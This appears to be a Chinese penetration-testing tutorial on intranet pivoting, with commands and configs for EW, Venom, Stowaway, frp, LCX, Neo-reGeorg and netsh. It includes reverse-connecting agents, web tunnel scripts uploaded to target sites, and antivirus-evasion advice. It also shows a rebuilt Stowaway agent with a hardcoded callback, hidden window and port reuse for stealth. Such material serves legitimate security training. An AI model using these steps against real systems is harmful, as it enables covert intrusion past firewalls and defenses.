在内网渗透过程中经常会遇到搭建代理和端口转发的情况,本文记录一些常用工具的使用方法和典型应用场景,便于查阅。
代理和隧道都可以实现访问内网,但是它们采用的技术和特点是不同的,简要区分如下:
- 代理:服务端处理socks、http(s)等协议请求时,将请求数据包和响应数据包进行转发,担任中间人的角色。使用代理可以利用缓存技术减少网络带宽,也可以搭建链路访问内部网络或原本无法访问的站点。
- 隧道:用ssh、http(s)、icmp、dns等协议将原始数据包进行封装,客户端和服务端在收到数据后首先要对其进行拆包,提取内部数据,相应地在发送数据前要对其进行封包。使用隧道可以在不兼容的网络上传输数据,也可以在不安全的网络上提供一个安全路径,确保客户端能与服务器能够安全通信。可以使用隧道对内部网络进行访问,本质上是流量经由隧道后再经过端口转发,搭建隧道和端口转发相当于两个过程。
本文主要针对搭建代理的各种工具进行介绍,隧道技术在另一篇文章讲述: Kali Linux渗透测试——隧道&封装
代理搭建&端口转发
在内网主机上搭建代理是为了以其为跳板,间接访问内网,从而可以对内网进行扫描、访问服务等操作;端口转发通常是为了绕过网络设备或主机策略在传输层设置的访问规则,或实现流量中转以增强攻击链路的隐蔽性。
代理搭建后,在外网主机上要配置代理,Windows上用Proxyfier,Linux上用Proxychains,浏览器最好用插件,方法都很简单,这里不作介绍,要注意的是目前这些代理都不支持ICMP协议,比如ping是无法经过代理的。
为方便表述,文中主机简单分为 内网主机 和 外网主机 两类,代理统一搭建在外网主机。
1.EW
(1)介绍
经典的内网穿透工具,具有 SOCKS5服务和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。目前已停止更新,而且很多查杀软件已经将EW指纹加入特征库,不做免杀处理的话一经上传很可能被秒杀。
传送门:http://rootkiter.com/EarthWorm/
(2)使用
(版本:free1.2)
命令格式:ew [options] [values]
options包括ssocksd,rcsocks,rssocks,lcx_listen,lcx_tran,lcx_slave,直接输入命令ew_for_Win.exe
进行查询:
./xxx ([-options] [values])*
options :
Eg: ./xxx -s ssocksd -h
-s state setup the function.You can pick one from the following options:
ssocksd , rcsocks , rssocks , lcx_listen , lcx_tran , lcx_slave
-l listenport open a port for the service startup.
-d refhost set the reflection host address.
-e refport set the reflection port.
-f connhost set the connect host address.
-g connport set the connect port.
-h help show the help text, By adding the -s parameter, you can also see the more detailed help.
-a about show the about pages
-v version show the version.
-t usectime set the milliseconds for timeout. The default value is 1000
......
具体区分如下:
① 正向代理:ssocksd
在外网主机可以访问内网主机 (一般是双网卡或做了端口映射,下同不再强调) 的情况下,利用正向连接搭建代理进入内网:
# 在内网主机(10.1.1.1/1.1.1.2)上搭建代理,监听12345端口
ew_for_Win.exe -s ssocksd -l 12345
然后在外网主机上设置代理为:socks5 1.1.1.2 12345。
② 反向代理:rcsocks,rssocks
在外网主机无法访问内网主机,但是内网主机可以访问到外网主机的情况下,利用反向连接搭建代理进入内网:
# 先在外网主机(1.1.1.1)上监听12345和8888端口
# 等待目标连接,将12345端口的流量转发到本地8888端口
ew_for_Win.exe -s rcsocks -l 12345 -e 8888
# 然后内网主机和外网主机8888端口建立连接
ew_for_Win.exe -s rssocks -d 1.1.1.1 -e 8888
最后在外网主机上设置代理为:socks5 127.0.0.1 12345。
③ 正向代理+端口转发:ssocksd+lcx_tran
如果内网主机A不可以访问内网,内网主机B可以访问内网,但是内网主机B只能从内网主机A访问,且外网主机可以访问内网主机A,此时可在内网主机A、B做正向代理+端口转发进入内网:
# 内网主机B(10.1.1.2)监听8888端口
ew_for_Win.exe -s ssocksd -l 8888
# 内网主机A(10.1.1.1/1.1.1.2)将本地12345端口的流量转发到内网主机B的8888端口
ew_for_Win.exe -s lcx_tran -l 12345 -f 10.1.1.2 -g 8888
最后在外网主机设置代理为:socks5 1.1.1.2 12345。
④ 反向代理+端口转发:ssocksd+lcx_listen+lcx_slave
情况与上类似,区别是外网主机不可以访问内网主机A,此时可在内网主机A、B做反向代理+端口转发进入内网:
# 内网主机B(10.1.1.2)监听8888端口
ew_for_Win.exe -s ssocksd -l 8888
# 外网主机(1.1.1.1)监听12345和9999端口
# 等待目标连接,将12345端口流量转发到本地9999端口
ew_for_Win.exe -s lcx_listen -l 12345 -e 9999
# 内网主机A(10.1.1.1)连接外网主机的9999端口和内网主机B(10.1.1.2)的8888端口
# 隧道连接后,相当于将内网主机B的8888端口映射到外网主机的12345端口
ew_for_Win.exe -s lcx_slave -d 1.1.1.1 -e 9999 -f 10.1.1.2 -g 8888
最后在外网主机设置代理为:socks5 127.0.0.1 12345。
2.Venom
(1)介绍
Go开发的多级代理工具,可将多个节点进行连接,然后以节点为跳板,构建多级代理,可以轻松地将网络流量代理到多层内网,并管理代理节点,免杀效果较好,但是体积较大 (3MB)。
分为admin(管理端)和agent(受控节点),两者都可以开启监听,然后由另一端发起连接,由admin负责管理所有agent节点,支持跨平台Linux/Windows/MacOS。
传送门:https://github.com/Dliv3/Venom
(2)使用
(版本:v1.1.0)
步骤一:开启监听,建立连接
admin和agent都可以监听连接也可发起连接,这一点尤为重要,在防火墙单向流量规则限制时可以灵活处置。可通过-passwd
指定密码,该密码用于生成AES加密所需的密钥,对通信流量进行加密。
# admin监听端口,agent主动连接
admin -lport 12345 -passwd P@ssw0rd
agent -rport 12345 -rhost 10.1.1.1 -passwd P@ssw0rd
# agent监听端口,admin主动连接
# admin掉线后agent不会关闭监听端口,admin再次重连时agent仍然会上线
agent -lport 12345 -passwd P@ssw0rd
admin -rport 12345 -rhost 10.1.1.1 -passwd P@ssw0rd
agent节点支持端口复用功能,可通过端口复用增强隐蔽性,绕过防火墙规则等,在windows上可以复用apache、mysql等服务的端口,但目前还无法复用RDP、IIS等服务端口,在linux上可以复用多数服务端口,被复用的端口仍可正常对外提供其原有服务。以admin和agent之间的连接为例:
# 复用apache 80端口,不影响apache提供正常的http服务
# -lhost值为本机ip,不能写0.0.0.0,否则无法进行端口复用
agent -lhost 10.1.1.1 -reuse-port 80 -passwd P@ssw0rd
admin -rport 80 -rhost 10.1.1.1 -passwd P@ssw0rd
步骤二:管理节点,搭建多级代理
连接建立后由admin节点管理所有agent节点,在admin节点可用help
命令查询:
(admin node) >>> help
help Help information.
exit Exit.
show Display network topology.
getdes View description of the target node.
setdes [info] Add a description to the target node.
goto [id] Select id as the target node.
listen [lport] Listen on a port on the target node.
connect [rhost] [rport] Connect to a new node through the target node.
sshconnect [user@ip:port] [dport] Connect to a new node through ssh tunnel.
shell Start an interactive shell on the target node.
upload [local_file] [remote_file] Upload files to the target node.
download [remote_file] [local_file] Download files from the target node.
socks [lport] Start a socks5 server.
lforward [lhost] [sport] [dport] Forward a local sport to a remote dport.
rforward [rhost] [sport] [dport] Forward a remote sport to a local dport.
listen [port]
和connect [rhost] [rport]
命令用于节点间互连,有两种方式:
方式1:先在node1节点开启端口监听,然后node2节点用agent连接
# 先在node1节点监听56789端口
(admin node) >>> show
A
+ -- 1
(admin node) >>> goto 1
(node 1) >>> listen 56789
listen 56789
the port 56789 is successfully listening on the remote node!
# 然后在node2运行agent,连接node1
agent -rhost 10.1.1.2 -rport 56789 -passwd P@ssw0rd
方式2:先在node2节点运行agent开启端口监听,然后node1节点connect
命令连接
# 先在node2节点运行agent开启端口监听
agent -lport 56789 -passwd P@ssw0rd
# 然后node1节点connect连接
(node 1) >>> connect 10.1.1.3 56789
connect to 10.1.1.2 56789
successfully connect to the remote port!
(node 1) >>> show
A
+ -- 1
+ -- 2
socks <port>
命令用于在admin节点开启侦听端口,建立到agent节点的socks5代理:
(node 1) >>> socks 7878
a socks5 proxy of the target node has started up on the local port 7878.
lforward [lhost] [sport] [dport]
将本地admin端口sport转发到远程agent端口dport
# 将本地admin的80端口映射到远程agent的12580端口
# 访问agent的12580端口相当于访问admin的80端口
(node 1) >>> goto 2
(node 2) >>> lforward 10.1.1.1 80 12580
rforward [rhost] [sport] [dport]
将远程agent端口sport转发到本地admin端口dport
# 将远程agent的80端口映射到本地admin的12580端口
# 访问admin的12580端口相当于访问agent的80端口
(node 2) >>> rforward 10.1.1.3 80 12580
3.Stowaway
(1)介绍
参考Venom进行开发,功能更强大,免杀效果更好,体积做了优化 < 1.5MB。与Venom使用方法相似,同样分为admin(管理端)和agent(受控节点),由admin负责管理所有agent节点,并增加了节点间重连、节点间流量协议选择等功能,支持跨平台Linux/Mac/Windows/MIPS/ARM。
传送门:https://github.com/ph4ntonn/Stowaway
注意:有些版本使用UPX加壳压缩体积,这使得其在运行时会被一些AV查杀,此时需要自己重新编译。
(2)使用
(版本:v2.0)
步骤一:开启监听,建立连接
admin和agent都可以监听连接也可发起连接,这一点尤为重要,在防火墙单向流量规则限制时可以灵活处置。可通过-s
指定密码,该密码用于生成AES-256-GCM算法加密所需的密钥,对通信流量进行加密。
Stowaway定义了上下游的概念,上游指当前节点与父节点之间的流量,下游指当前节点与子节点之间的流量,设置了某一节点上/下游为TCP/HTTP流量后,与其连接的父/子节点的下/上游流量必须设置为一致。admin可为下游流量,agent可为上游或下游流量选择通信协议。
# admin监听端口,agent主动连接
# --reconnect参数仅用在agent主动连接模式下,当admin掉线时,agent每隔10秒主动连接一次
# 若不设置--reconnect,admin掉线后agent不会主动回连
# --cs参数仅用在agent,可用在主动和被动模式下,解决shell乱码问题
# 当agent运行于gbk的平台上,而admin运行于utf-8的平台上时,此时需要将参数设置为'gbk',否则会乱码
admin -l 12345 -s P@ssw0rd [--down http]
agent -c 10.1.1.1:12345 -s P@ssw0rd [--up http] [--down http] [--reconnect 10] [--cs gbk]
# agent监听端口,admin主动连接
# admin掉线后agent不会关闭监听端口,admin再次重连时agent仍然会上线
agent -l 12345 -s P@ssw0rd [--up http] [--down http] [--cs gbk]
admin -c 10.1.1.1:12345 -s P@ssw0rd [--down http]
agent节点支持端口复用功能,可通过端口复用增强隐蔽性,绕过防火墙规则等,在windows上可以复用apache、mysql等服务的端口,但目前还无法复用RDP、IIS等服务端口,在linux上可以复用多数服务端口,被复用的端口仍可正常对外提供其原有服务。以admin和agent之间的连接为例:
# 复用apache 80端口,不影响apache提供正常的http服务
# 必须配置-s参数
agent --rehost 10.1.1.1 --report 80 -s P@ssw0rd
admin -c 10.1.1.1:80 -s P@ssw0rd
步骤二:管理节点,搭建多级代理
连接建立后由admin节点管理所有agent节点,在admin节点和子节点可用help
命令查询:
(admin) >> help
help Show help information
detail Display connected nodes' detail
topo Display nodes' topology
use <id> Select the target node you want to use
exit Exit Stowaway
(node 0) >> help
help Show help information
listen Start port listening on current node
addmemo <string> Add memo for current node
delmemo Delete memo of current node
ssh <ip:port> Start SSH through current node
shell Start an interactive shell on current node
socks <lport> [username] [pass] Start a socks5 server
stopsocks Shut down socks services
connect <ip:port> Connect to a new node
sshtunnel <ip:sshport> <agent port> Use sshtunnel to add the node into our topology
upload <local filename> <remote filename> Upload file to current node
download <remote filename> <local filename> Download file from current node
forward <lport> <ip:port> Forward local port to specific remote ip:port
stopforward Shut down forward services
backward <rport> <lport> Backward remote port(agent) to local port(admin)
stopbackward Shut down backward services
shutdown Terminate current node
back Back to parent panel
exit Exit Stowaway
listen
、connect <ip:port>
以及sshtunnel <ip:sshport> <agent port>
命令用于节点间互连,有两种方式:
方式1:先在node0节点开启端口监听,然后在node1节点上用agent进行连接
# 先在node0节点监听56789端口
(admin) >> topo
Node[0]'s children ->
(admin) >> use 0
(node 0) >> listen
[*] BE AWARE! If you choose IPTables Reuse or SOReuse,you MUST CONFIRM that the node you're controlling was started in the corresponding way!
[*] When you choose IPTables Reuse or SOReuse, the node will use the initial config(when node started) to reuse port!
[*] Please choose the mode(1.Normal passive/2.IPTables Reuse/3.SOReuse): 1
[*] Please input the [ip:]<port> : 127.0.0.1:44887
[*] Waiting for response......
[*] Node is listening on 127.0.0.1:44887
# 然后在node1运行agent,连接node0
agent.exe -c 127.0.0.1:44887 -s P@ssw0rd
方式2:先在node1节点运行agent开启端口监听,然后node0节点connect
命令连接
# 先在node1节点运行agent开启端口监听
agent.exe -l 33445 -s P@ssw0rd
# 然后node0节点connect连接
(node 0) >> connect 10.1.1.3:33445
[*] Waiting for response......
(node 0) >>
[*] New node come! Node id is 1
(node 0) >> back
(admin) >> topo
Node[0]'s children ->
Node[1]
Node[1]'s children ->
方式3:先在node1节点运行agent开启端口监听,然后node0节点sshtunnel
命令连接,搭建ssh隧道进行通信,可用于内网防护比较严格的情况
# 先在node1节点运行agent开启端口监听
agent.exe -l 33445 -s P@ssw0rd
# 然后node0节点sshtunnel连接
(node 0) >> sshtunnel 127.0.0.1:22 33445
[*] Please choose the auth method(1.username&&password / 2.certificate): 1
[*] Please enter the username: Bob
[*] Please enter the password: ********
[*] Waiting for response.....
[*] New node come! Node id is 1
socks <port>
命令用于在admin节点开启侦听端口,建立到agent节点的socks5代理,可配置用户名和密码
(node 0) >> socks 7979 userme P@ssw0rd
[*] Trying to listen on 0.0.0.0:7979......
[*] Waiting for agent's response......
[*] Socks start successfully!
forward <lport> <ip:port>
将本地admin端口lport映射到远程agent端口port
# 将本地admin的12580端口映射到远程agent的80端口
# 访问admin的12580端口相当于访问agent的80端口
(admin) >> use 1
(node 1) >> forward 12580 10.1.1.1:80
backward <rport> <lport>
反向映射当前agent上的端口lport至admin的本地端口rport
# 将远程agent的80端口反向映射到本地admin的12580端口
# 访问admin的12580端口相当于访问agent的80端口
(admin) >> use 2
(node 2) >>> backward 12580 80
(3)自编译
在源码包中添加一些配置项然后自行编译,主要是为了集成一些配置参数,简化使用操作,另外也可以去掉工具的壳,避免因加壳而被查杀。
下面以实现Windows环境中agent一键后台运行功能为例,要修改的参数主要在源码包的agent\initial\parser.go
文件中,这个文件为初始化参数配置文件,flag的变量中第1个字符串为参数名,第2个字符串为缺省值,第3个字符串为传递值,这里要修改缺省参数:
func init() {
Args = new(Options)
//flag.StringVar(&Args.Secret, "s", "", "")
flag.StringVar(&Args.Secret, "s", "MyPassword", "")
flag.StringVar(&Args.Listen, "l", "", "")
//flag.Uint64Var(&Args.Reconnect, "reconnect", 0, "")
flag.Uint64Var(&Args.Reconnect, "reconnect", 120, "")
//flag.StringVar(&Args.Connect, "c", "", "")
flag.StringVar(&Args.Connect, "c", "192.168.43.123:8080", "")
flag.StringVar(&Args.ReuseHost, "rehost", "", "")
flag.StringVar(&Args.ReusePort, "report", "", "")
flag.StringVar(&Args.Proxy, "proxy", "", "")
flag.StringVar(&Args.ProxyU, "proxyu", "", "")
flag.StringVar(&Args.ProxyP, "proxyp", "", "")
flag.StringVar(&Args.Upstream, "up", "raw", "")
flag.StringVar(&Args.Downstream, "down", "raw", "")
flag.StringVar(&Args.Charset, "cs", "utf-8", "")
flag.Usage = func() {}
}
然后参考build_agent.sh
文件中的编译语句和注释,默认编译出的程序是在前台运行的,有弹窗,如果要后台运行,Linux环境可以在运行程序时使用nohup ... &
,Windows环境则需要在agent/handler/shell.go
文件中按照注释修改几行代码,如下所示:
switch utils.CheckSystem() {
case 0x01:
cmd = exec.Command("c:\\windows\\system32\\cmd.exe")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} // If you don't want the cmd window, remove "//"
...
}
最后在源码包目录编译生成可执行文件,命令为:
# Linux环境下编译
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -trimpath -ldflags="-w -s -H=windowsgui" -o release/windows_x64_agent.exe agent/agent.go
# Windows环境下编译
set CGO_ENABLED=0&&set GOOS=windows&&set GOARCH=amd64&&go build -trimpath -ldflags="-w -s -H=windowsgui" -o release/windows_x64_agent.exe agent/agent.go
4.Frp
(1)介绍
Go开发的高性能反向代理工具,简单配置后可轻松实现内网穿透,支持TCP、UDP、HTTP、HTTPS等多协议类型,功能强大,免杀效果好,但是体积较大 (10MB)。
分为frps(服务端)和frpc(客户端),服务端配置文件frps.ini,客户端配置文件frpc.ini,外网主机运行服务端,内网主机运行客户端。
传送门:https://github.com/fatedier/frp
(2)使用
(版本:v0.36.2)
一般在ini
配置文件中完成具体配置,然后运行工具,命令格式:
-
服务端:
frps -c frps.ini
-
客户端:
frpc -c frpc.ini
在工具包中,frpc_full.ini
和frps_full.ini
文件包括了所有可选的配置信息,可以参考其修改配置文件frps.ini
和frpc.ini
的内容,根据不同功能需求选择相应配置,具体功能(如dashboard、pool_count、heartbeat等)可通过配置文件方便定制裁剪,常见应用如下:
① 反向代理
适用于外网主机无法访问内网主机,但是内网主机可以访问到外网主机的情况,外网主机运行frp服务端,frps.ini
配置如下:
[common]
bind_addr = 9.9.9.9 # 服务端绑定ip,为本机
bind_port = 11111 # 服务端绑定端口
# dashboard:可通过浏览器查看frp的状态和统计信息
dashboard_addr = 9.9.9.9 # dashboard管理地址,为本机
dashboard_port = 22222 # dashboard管理端口
dashboard_user = root # dashboard用户名
dashboard_pwd = 123456 # dashboard用户密码
token = password # 客户端与服务端连接的密码
# frp服务端通过heartbeat检测客户端在线状态,客户端每隔一段时间会自动给服务端
# 发heartbeat数据包,如果超时时间过后服务端没有收到heartbeat,则默认客户端掉线
heartbeat_interval = 10 # 客户端与服务端之间心跳间隔时间,默认为10秒
heartbeat_timeout = 90 # 客户端与服务端之间心跳超时时间,默认为90秒
# 默认情况下,代理搭建后只有当用户请求建立连接时,frps才会与frpc建立连接
# 而启用连接池后,frps和frpc之间会预先创建指定数量的连接形成连接池,每次接收到
# 用户请求后,会从连接池中取出一个连接和用户连接相关联,减少了建立连接的响应时间
# frps.ini 配置连接池的最大值:max_pool_count
# frpc.ini 配置预创建连接的数量:pool_count
# 该功能适合有大量促发短连接请求时使用
max_pool_count = 5 # 代理可以创建的连接池最大值,客户端设置超过此配置后会被调整到当前值
allow_ports = 2000-3000,50000-60000 # 指定可以被使用的代理端口
内网主机运行frp客户端, frpc.ini
配置如下:
[common]
server_addr = 9.9.9.9 # 服务端绑定ip
server_port = 11111 # 服务器绑定端口
tls_enable = true # 服务端/客户端流量使用TLS加密,默认不开启
# 开启TLS加密后不需要再设置 use_encryption
token = password # 客户端与服务端连接的密码
protocol = tcp # 协议类型
pool_count = 1 # 启用连接池,指定预创建连接的数量
[demo] # 自定义代理的名称
remote_port = 10000 # 代理的端口
plugin = socks5 # 使用的协议
use_encryption = true # 代理使用加密算法 (snappy),默认不开启
use_compression = true # 代理使用流量压缩,减少通信流量,默认不开启
plugin_user= admin # 配置socks5服务用户名
plugin_passwd= admin # 配置socks5服务密码
# 代理健康检查,服务端与客户端之间发包检测,在反向代理出现故障时
# 自动将故障代理服务删除,加强服务的可用性,目前可选择的协议类型为tcp和http
health_check_type = tcp # 启用健康检查功能,类型为tcp
health_check_interval_s = 100 # 设定每隔100秒进行一次健康检查
health_check_timeout_s = 3 # 健康检查建立连接超时时间设置为3秒
health_check_max_failed = 3 # 连续3次建立连接失败时,此代理服务会被移除
最后在外网主机上设置代理为:socks5 127.0.0.1 10000,外网主机服务端开启dashboard后,访问http://9.9.9.9:22222,填写用户名和密码,可以通过web界面查看所有代理状态和统计信息。
② 端口转发(反向连接)
适用于内网主机能访问外网主机,而外网主机不能访问到内网主机的情况,外网主机运行frp服务端,frps.ini
配置:
[common]
bind_addr = 9.9.9.9
bind_port = 11111
dashboard_addr = 9.9.9.9
dashboard_port = 22222
dashboard_user = root
dashboard_pwd = 123456
token = password
heartbeat_interval = 10
heartbeat_timeout = 90
max_pool_count = 5
内网主机运行frp客户端,frpc.ini
配置:
[common]
server_addr = 9.9.9.9
server_port = 11111
token = password
[test]
type = tcp
local_ip = 127.0.0.1 # 本地内网主机ip
local_port = 3389 # 本地内网主机端口
remote_port = 12389 # 远程外网主机端口
代理搭建后,访问外网主机的12389端口,相当于访问内网主机的3389端口。
③ Web服务映射
适用于内网Web服务器能访问外网主机,而外网主机不能访问到内网Web的情况,此时要求外网主机必须有独立域名,外网主机运行frp服务端,frps.ini
配置:
[common]
bind_addr = 9.9.9.9
bind_port = 11111
dashboard_addr = 9.9.9.9
dashboard_port = 22222
dashboard_user = root
dashboard_pwd = 123456
token = password
heartbeat_interval = 10
heartbeat_timeout = 90
max_pool_count = 5
内网Web服务器运行frp客户端,frpc.ini
配置:
[common]
server_addr = 9.9.9.9
server_port = 11111
token = password
[test]
type = http
local_ip = 127.0.0.1
local_port = 80
remote_port = 8018
custom_domains = www.domain.com # 外网主机域名,必需
代理搭建后,访问外网主机 http://www.domain.com:8018 相当于访问内网主机Web服务。
④ Systemd 建立服务
Linux系统下可以利用Systemd建立Linux服务,以实现开机自启动、断连后重启等功能,配置脚本位于Linux版工具包中的systemd目录,配置方法如下:
i) 配置Frps启动脚本服务
创建服务配置文件 /lib/systemd/system/frps.service
,参考systemd目录中的配置脚本,内容如下:
[Unit]
Description=Frp Server Service
After=network-online.target # 在网络就绪后启动服务
[Service]
ExecStart=/usr/local/bin/frps -c /usr/local/bin/frps.ini # 服务启动时执行的命令
Type=simple
User=nobody # 执行命令的用户为 nobody
Group=nogroup # 执行命令的组为 nogroup
Restart=on-failure # 失败后重启
RestartSec=60s # 失败 60s 后重启服务
[Install]
WantedBy=multi-user.target
新添加服务或修改配置后需要执行sudo systemctl daemon-reload
重新加载,执行sudo systemctl start frps.service
启动服务,执行sudo systemctl enable frps.service
开机自启动。
ii) 配置Frpc启动脚本服务
创建服务配置文件 /lib/systemd/system/frpc.service
,参考Systemd目录中的配置脚本,内容如下:
[Unit]
Description=Frp Client Service
After=network-online.target
[Service]
ExecStart=/usr/local/bin/frpc -c /usr/local/bin/frpc.ini
Type=simple
User=nobody
Group=nogroup
WorkingDirectory=/tmp
Restart=on-failure
RestartSec=60s
[Install]
WantedBy=multi-user.target
新添加服务或修改配置后需要执行sudo systemctl daemon-reload
重新加载,执行sudo systemctl start frpc.service
启动服务,执行sudo systemctl enable frpc.service
开机自启动。
systemd中还有两个模板文件,frpc@.service
和frps@.service
,能够根据命令中@
后的参数,替换配置文件中%i
位置的内容,如配置文件中ExecStart=/usr/local/bin/frpc -c /usr/local/bin/%i
,则启动服务命令为sudo systemctl start frpc@frpc.ini
。
5.LCX
(1)介绍
经典的内网端口转发工具,具有端口转发和端口映射(本质上是相同的)功能,通常用于将内网主机开放的端口映射到外网主机端口,很多查杀工具已经将其加入特征库,上传需要做免杀。
传送门:https://github.com/windworst/LCX
(2)使用
① 端口转发(反向连接)
-
lcx -listen port1 port2
:同时监听本地port1端口和port2端口,当两个客户端主动连接上这两个监听端口之后,LCX负责这两个端口间的数据转发。 -
lcx -slave ip1:port1 ip2:port2
:本地开始主动连接ip1:port1主机和ip2:port2主机,当连接成功之后,LCX负责这两个主机之间的数据转发。
建立反向连接,将内网主机端口转发到外网主机端口,适用于内网主机能访问外网主机,而外网主机不能访问到内网主机的情况:
# 外网主机(1.1.1.1)先通过-listen监听本地8888和12345端口
# 将12345端口的流量转发给8888端口
lcx –listen 8888 12345
# 然后内网主机(10.1.1.1)通过-slave和外网主机建立连接
# 将8888端口流量转发到外网主机(1.1.1.1)的9999端口
lcx –slave 1.1.1.1:8888 10.1.1.1:9999
这样外网主机的12345端口就转发到内网主机的9999端口了,访问外网主机12345端口相当于访问内网主机的9999端口。
② 端口映射(正向连接)
lcx -tran port1 ip:port2
:本地开始监听port1端口,当port1端口上接收到来自客户端的主动连接之后,LCX将主动连接ip:port2,并且负责port1端口和ip:port2之间的数据转发。
建立正向连接,将外网主机端口转发到内网主机端口,适用于外网主机可以访问内网主机的情况:
# 外网主机(1.1.1.1)通过-tran监听12345端口
# 将12345端口流量转发到内网主机(10.1.1.1/1.1.1.2)的3389端口
lcx -tran 12345 1.1.1.2:3389
访问外网主机的12345端口相当于访问内网主机的3389端口。
或者将内网主机端口映射本地的其他端口:
# 内网主机(10.1.1.1)通过-tran监听本地12345端口
# 将12345端口流量转发到本地的3389端口
lcx -tran 12345 127.0.0.1:3389
访问内网主机的12345端口,相当于访问其3389端口。
6.NATBypass
(1)介绍
LCX在Go下的实现,更好的跨平台,更完善的文档,免杀效果更好。
传送门:https://github.com/cw1997/NATBypass
(2)使用
(版本:v1.0.0)
与LCX完全相同
7.Neo-reGeorg
(1)介绍
SOCKS over HTTP,即通过HTTP隧道转发SOCKS5,reGeorg的改良版。
传送门:https://github.com/L-codes/Neo-reGeorg
(2)使用
(版本:v2.3.1)
在外网主机可以访问内网主机WEB服务,且可在其WEB目录上传文件的条件下,正向搭建代理进入内网。
在外网主机上生成用于搭建代理的隧道文件:
python3 neoreg.py generate -k P@ssw0rd
生成多种类型的脚本文件,如下所示:
[+] Create neoreg server files:
=> neoreg_servers/tunnel.ashx
=> neoreg_servers/tunnel.aspx
=> neoreg_servers/tunnel.jsp
=> neoreg_servers/tunnel_compatibility.jsp
=> neoreg_servers/tunnel.jspx
=> neoreg_servers/tunnel_compatibility.jspx
=> neoreg_servers/tunnel.php
将脚本文件上传至内网主机(10.1.1.1/1.1.1.2)网站可以访问的目录,然后在外网主机建立隧道,自动监听本地1080端口:
python3 neoreg.py -k P@ssw0rd -u http://1.1.1.2/tunnel.php
最后在外网主机将代理设置为socks5 127.0.0.1 1080。
8.Netsh
(1)介绍
Windows系统中内置的用来查看和配置计算机网络参数的命令行工具,可用于配置端口转发。
(2)使用
在防火墙设置了传输层访问规则的条件下(如3389端口流量不允许访问),利用端口转发进行绕过。
查看所有的端口转发规则:
netsh interface portproxy show all
在内网主机上添加端口转发规则:
# 在内网主机(10.1.1.1)上添加转发规则
# 将本地12345端口的流量转发到本地3389端口
# 注意不能将10.1.1.1写成127.0.0.1
netsh interface portproxy add v4tov4 listenaddress=10.1.1.1 listenport=12345 connectaddress=10.1.1.1 connectport=3389
转发规则不再使用后要删除:
# 删除指定的端口转发规则
netsh interface portproxy delete v4tov4 listenport=12345 listenaddress=10.1.1.1
# 删除所有的端口转发规则
netsh interface portproxy reset